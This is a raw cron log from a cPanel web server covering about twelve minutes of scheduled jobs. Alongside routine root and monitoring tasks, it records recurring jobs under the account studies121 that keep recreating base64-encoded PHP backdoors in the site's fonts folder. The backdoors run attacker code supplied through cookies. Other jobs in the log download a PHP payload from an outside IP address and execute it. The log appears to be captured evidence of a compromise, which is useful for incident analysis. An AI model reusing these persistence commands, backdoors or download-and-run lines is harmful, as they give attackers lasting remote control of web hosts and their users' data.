Sep  9 14:39:01 ip-184-168-122-23 CROND[1520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:39:01 ip-184-168-122-23 CROND[1519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:39:01 ip-184-168-122-23 CROND[1521]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 14:40:01 ip-184-168-122-23 CROND[1647]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:40:01 ip-184-168-122-23 CROND[1649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:40:01 ip-184-168-122-23 CROND[1651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:40:01 ip-184-168-122-23 CROND[1653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:40:01 ip-184-168-122-23 CROND[1652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:40:01 ip-184-168-122-23 CROND[1657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:40:01 ip-184-168-122-23 CROND[1656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:40:01 ip-184-168-122-23 CROND[1659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:41:01 ip-184-168-122-23 CROND[1778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:41:01 ip-184-168-122-23 CROND[1780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:41:01 ip-184-168-122-23 CROND[1782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:41:01 ip-184-168-122-23 CROND[1781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:42:01 ip-184-168-122-23 CROND[1874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:42:01 ip-184-168-122-23 CROND[1875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:42:01 ip-184-168-122-23 CROND[1877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:42:01 ip-184-168-122-23 CROND[1878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:42:01 ip-184-168-122-23 CROND[1880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:43:01 ip-184-168-122-23 CROND[2062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:43:01 ip-184-168-122-23 CROND[2064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:43:01 ip-184-168-122-23 CROND[2065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:43:01 ip-184-168-122-23 CROND[2066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:44:01 ip-184-168-122-23 CROND[2164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:44:01 ip-184-168-122-23 CROND[2166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:44:01 ip-184-168-122-23 CROND[2167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:44:01 ip-184-168-122-23 CROND[2168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:44:01 ip-184-168-122-23 CROND[2169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:45:01 ip-184-168-122-23 CROND[2283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:45:01 ip-184-168-122-23 CROND[2285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:45:01 ip-184-168-122-23 CROND[2288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:45:01 ip-184-168-122-23 CROND[2287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:45:01 ip-184-168-122-23 CROND[2290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:45:01 ip-184-168-122-23 CROND[2289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:46:01 ip-184-168-122-23 CROND[2392]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:46:01 ip-184-168-122-23 CROND[2393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:46:01 ip-184-168-122-23 CROND[2396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:46:01 ip-184-168-122-23 CROND[2398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:46:01 ip-184-168-122-23 CROND[2397]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 14:46:01 ip-184-168-122-23 CROND[2402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:46:01 ip-184-168-122-23 CROND[2403]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 14:47:01 ip-184-168-122-23 CROND[2519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:47:01 ip-184-168-122-23 CROND[2521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:47:01 ip-184-168-122-23 CROND[2522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:47:01 ip-184-168-122-23 CROND[2523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:48:01 ip-184-168-122-23 CROND[2606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:48:01 ip-184-168-122-23 CROND[2608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:48:01 ip-184-168-122-23 CROND[2609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:48:01 ip-184-168-122-23 CROND[2611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:48:01 ip-184-168-122-23 CROND[2610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:49:02 ip-184-168-122-23 CROND[2709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:49:02 ip-184-168-122-23 CROND[2711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:49:02 ip-184-168-122-23 CROND[2710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:49:02 ip-184-168-122-23 CROND[2712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:50:01 ip-184-168-122-23 CROND[2813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:50:01 ip-184-168-122-23 CROND[2816]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:50:01 ip-184-168-122-23 CROND[2819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:50:01 ip-184-168-122-23 CROND[2821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:50:01 ip-184-168-122-23 CROND[2825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:50:01 ip-184-168-122-23 CROND[2828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:50:01 ip-184-168-122-23 CROND[2824]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 14:50:01 ip-184-168-122-23 CROND[2830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:50:01 ip-184-168-122-23 CROND[2823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:51:01 ip-184-168-122-23 CROND[2919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:51:01 ip-184-168-122-23 CROND[2921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:51:01 ip-184-168-122-23 CROND[2922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
